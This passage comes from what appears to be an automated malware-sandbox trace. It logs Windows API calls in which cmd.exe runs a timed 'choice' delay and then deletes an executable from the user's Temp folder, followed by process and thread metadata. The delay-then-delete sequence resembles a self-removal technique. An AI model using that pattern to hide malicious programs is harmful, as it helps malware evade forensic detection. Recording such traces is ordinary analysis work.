[0250.614] GetProcessHeap () returned 0x1f0000 [0250.614] RtlReAllocateHeap (Heap=0x1f0000, Flags=0x0, Ptr=0x204850, Size=0x8) returned 0x208c20 [0250.614] FindClose (in: hFindFile=0x20a470 | out: hFindFile=0x20a470) returned 1 [0250.614] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0250.614] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0250.614] GetConsoleTitleW (in: lpConsoleTitle=0x1ef120, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0250.652] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eeed8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eee98 | out: lpAttributeList=0x1eeed8, lpSize=0x1eee98) returned 1 [0250.652] UpdateProcThreadAttribute (in: lpAttributeList=0x1eeed8, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eee88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eeed8, lpPreviousValue=0x0) returned 1 [0250.652] GetStartupInfoW (in: lpStartupInfo=0x1eeff0 | out: lpStartupInfo=0x1eeff0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0250.656] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\choice.exe", lpCommandLine="choice /C Y /N /D Y /T 3 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1eef10*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="choice /C Y /N /D Y /T 3 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1eeec0 | out: lpCommandLine="choice /C Y /N /D Y /T 3 ", lpProcessInformation=0x1eeec0*(hProcess=0x54, hThread=0x50, dwProcessId=0xfe0, dwThreadId=0xff8)) returned 1 [0250.676] CloseHandle (hObject=0x50) returned 1 [0250.676] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0250.676] GetProcessHeap () returned 0x1f0000 [0250.676] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x208fc0 | out: hHeap=0x1f0000) returned 1 [0250.676] GetEnvironmentStringsW () returned 0x208fc0* [0250.676] GetProcessHeap () returned 0x1f0000 [0250.676] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xbda) returned 0x20ed00 [0250.676] FreeEnvironmentStringsW (penv=0x208fc0) returned 1 [0250.676] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0253.873] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1eee08 | out: lpExitCode=0x1eee08*=0x1) returned 1 [0253.873] CloseHandle (hObject=0x54) returned 1 [0253.873] _vsnwprintf (in: _Buffer=0x1ef078, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eee18 | out: _Buffer="00000001") returned 8 [0253.873] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1 [0253.873] GetProcessHeap () returned 0x1f0000 [0253.873] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x20ed00 | out: hHeap=0x1f0000) returned 1 [0253.873] GetEnvironmentStringsW () returned 0x210500* [0253.873] GetProcessHeap () returned 0x1f0000 [0253.873] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xc00) returned 0x211110 [0253.873] FreeEnvironmentStringsW (penv=0x210500) returned 1 [0253.873] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0253.873] GetProcessHeap () returned 0x1f0000 [0253.873] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x211110 | out: hHeap=0x1f0000) returned 1 [0253.873] GetEnvironmentStringsW () returned 0x210500* [0253.873] GetProcessHeap () returned 0x1f0000 [0253.874] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xc00) returned 0x211110 [0253.874] FreeEnvironmentStringsW (penv=0x210500) returned 1 [0253.874] GetProcessHeap () returned 0x1f0000 [0253.874] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x208c40 | out: hHeap=0x1f0000) returned 1 [0253.874] DeleteProcThreadAttributeList (in: lpAttributeList=0x1eeed8 | out: lpAttributeList=0x1eeed8) [0253.874] GetConsoleTitleW (in: lpConsoleTitle=0x1ef5d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0253.875] RtlReAllocateHeap (Heap=0x1f0000, Flags=0x0, Ptr=0x1f1690, Size=0x76) returned 0x1f1690 [0253.875] GetProcessHeap () returned 0x1f0000 [0253.875] RtlSizeHeap (HeapHandle=0x1f0000, Flags=0x0, MemoryPointer=0x1f1690) returned 0x76 [0253.876] RtlReAllocateHeap (Heap=0x1f0000, Flags=0x0, Ptr=0x211d20, Size=0x76) returned 0x211d20 [0253.876] GetProcessHeap () returned 0x1f0000 [0253.876] RtlSizeHeap (HeapHandle=0x1f0000, Flags=0x0, MemoryPointer=0x211d20) returned 0x76 [0253.877] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\newfile.exe")) returned 1 [0253.878] FindNextFileW (in: hFindFile=0x1f1e90, lpFindFileData=0x20ef84 | out: lpFindFileData=0x20ef84*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf86a7420, ftCreationTime.dwHighDateTime=0x1d5eccb, ftLastAccessTime.dwLowDateTime=0xf86a7420, ftLastAccessTime.dwHighDateTime=0x1d5eccb, ftLastWriteTime.dwLowDateTime=0xfae3a1e0, ftLastWriteTime.dwHighDateTime=0x1d5eccb, nFileSizeHigh=0x0, nFileSizeLow=0xe200, dwReserved0=0x0, dwReserved1=0x0, cFileName="newfile.Exe", cAlternateFileName="")) returned 0 [0253.879] GetLastError () returned 0x12 [0253.879] FindClose (in: hFindFile=0x1f1e90 | out: hFindFile=0x1f1e90) returned 1 [0253.879] GetProcessHeap () returned 0x1f0000 [0253.879] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x20ef70 | out: hHeap=0x1f0000) returned 1 [0253.879] GetProcessHeap () returned 0x1f0000 [0253.879] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x211e70 | out: hHeap=0x1f0000) returned 1 [0253.879] GetProcessHeap () returned 0x1f0000 [0253.879] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x204880 | out: hHeap=0x1f0000) returned 1 [0253.879] GetProcessHeap () returned 0x1f0000 [0253.879] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x1f1e20 | out: hHeap=0x1f0000) returned 1 [0253.879] GetProcessHeap () returned 0x1f0000 [0253.879] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x20ed00 | out: hHeap=0x1f0000) returned 1 [0253.879] GetProcessHeap () returned 0x1f0000 [0253.879] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x1f1c00 | out: hHeap=0x1f0000) returned 1 [0253.879] GetProcessHeap () returned 0x1f0000 [0253.879] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x1f1990 | out: hHeap=0x1f0000) returned 1 [0253.879] GetProcessHeap () returned 0x1f0000 [0253.879] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x211e10 | out: hHeap=0x1f0000) returned 1 [0253.879] GetProcessHeap () returned 0x1f0000 [0253.879] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x211db0 | out: hHeap=0x1f0000) returned 1 [0253.879] GetProcessHeap () returned 0x1f0000 [0253.879] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x20a470 | out: hHeap=0x1f0000) returned 1 [0253.879] GetProcessHeap () returned 0x1f0000 [0253.879] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x211d20 | out: hHeap=0x1f0000) returned 1 [0253.879] _get_osfhandle (_FileHandle=1) returned 0x7 [0253.879] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0253.880] _get_osfhandle (_FileHandle=1) returned 0x7 [0253.880] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a9fe194 | out: lpMode=0x4a9fe194) returned 1 [0253.880] _get_osfhandle (_FileHandle=0) returned 0x3 [0253.880] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a9fe198 | out: lpMode=0x4a9fe198) returned 1 [0253.880] _get_osfhandle (_FileHandle=0) returned 0x3 [0253.880] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0253.881] SetConsoleInputExeNameW () returned 0x1 [0253.881] GetConsoleOutputCP () returned 0x1b5 [0253.881] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa0bfe0 | out: lpCPInfo=0x4aa0bfe0) returned 1 [0253.881] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0253.881] exit (_Code=0) Process: id = "47" image_name = "choice.exe" filename = "c:\\windows\\system32\\choice.exe" page_root = "0x66a62000" os_pid = "0xfe0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0xfd0" cmd_line = "choice /C Y /N /D Y /T 3 " cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 261 os_tid = 0xff8 Process: id = "48" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x77437000" os_pid = "0x3fc" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "40" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e419" [0xc000000f], "LOCAL" [0x7] Thread: id = 275 os_tid = 0xf98 Thread: id = 276 os_tid = 0xea8 Thread: id = 277 os_tid = 0x7c0 Thread: id = 278 os_tid = 0x7bc Thread: id = 279 os_tid = 0x77c Thread: id = 280 os_tid = 0x75c Thread: id = 281 os_tid = 0x738 Thread: id = 282 os_tid = 0x150 Thread: id = 283 os_tid = 0x118 Thread: id = 284 os_tid = 0xf0 Thread: id = 285 os_tid = 0xc8 Thread: id = 295 os_tid = 0x354 Thread: id = 300 os_tid = 0x670 Thread: id = 303 os_tid = 0x418 Thread: id = 306 os_tid = 0x81c Thread: id = 307 os_tid = 0x83c Thread: id = 308 os_tid = 0x5ec Thread: id = 309 os_tid = 0x82c Thread: id = 310 os_tid = 0x87c Thread: id = 311 os_tid = 0x85c Thread: id = 322 os_tid = 0x92c Thread: id = 331 os_tid = 0xa60 Thread: id = 334 os_tid = 0xa3c Thread: id = 335 os_tid = 0xa70 Thread: id = 336 os_tid = 0xa4c